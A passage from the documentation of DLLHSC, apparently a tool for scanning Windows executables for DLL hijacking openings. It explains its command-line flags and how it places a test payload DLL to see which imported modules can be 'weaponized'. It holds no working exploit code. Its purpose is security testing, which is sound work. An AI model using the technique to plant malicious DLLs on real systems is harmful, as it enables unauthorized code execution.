list loaded modules that do not exist in the application's directory

-rt, --runtime-load
display modules loaded in run-time by hooking LoadLibrary and LoadLibraryEx APIs

-t, --timeout
number of seconds to wait f or checking any popup error windows - defaults to 10 seconds

Example Runs

This section provides examples on how you can run DLLHSC and the results it reports. For this purpose, the legitimate Microsoft utility OleView.exe (MD5: D1E6767900C85535F300E08D76AAC9AB) was used. For better results, it is recommended that the provided executable image is scanned within its installation directory.

The flag -l parses the import table of the provided executable, applies filters and attempts to weaponize the imported modules by placing a payload DLL in the application's current directory. The scanned executable may pop an error box when dependencies for the payload DLL (exported functions) are not met. In this case, an error message box is poped. DLLHSC by default checks for 10 seconds if a message box was opened or for as many seconds as specified by the user with the flag -t. An error message box indicates that if dependencies are met, the module can be weaponized.

The following screenshot shows the error message box generated when OleView.dll loads the payload DLL :

The tool waits for a maximum timeframe of 10 seconds or -t seconds to make sure the process initialization has finished and any message box has been generated. It then detects the message box, closes it and reports the result:

The flag -lm launches the provided executable and prints the modules it loads that do not belong in the KnownDLLs list neither are WinSxS dependencies. This mode is aimed to give an idea of DLLs that may be used as payload and it only exists to generate leads for the analyst.

The flag -rt prints the modules the provided executable image loads in its address space when launched as a process. This is achieved by hooking the LoadLibrary and LoadLibraryEx APIs via Microsoft Detours.


For any feedback on this tool, please use the GitHub Issues section.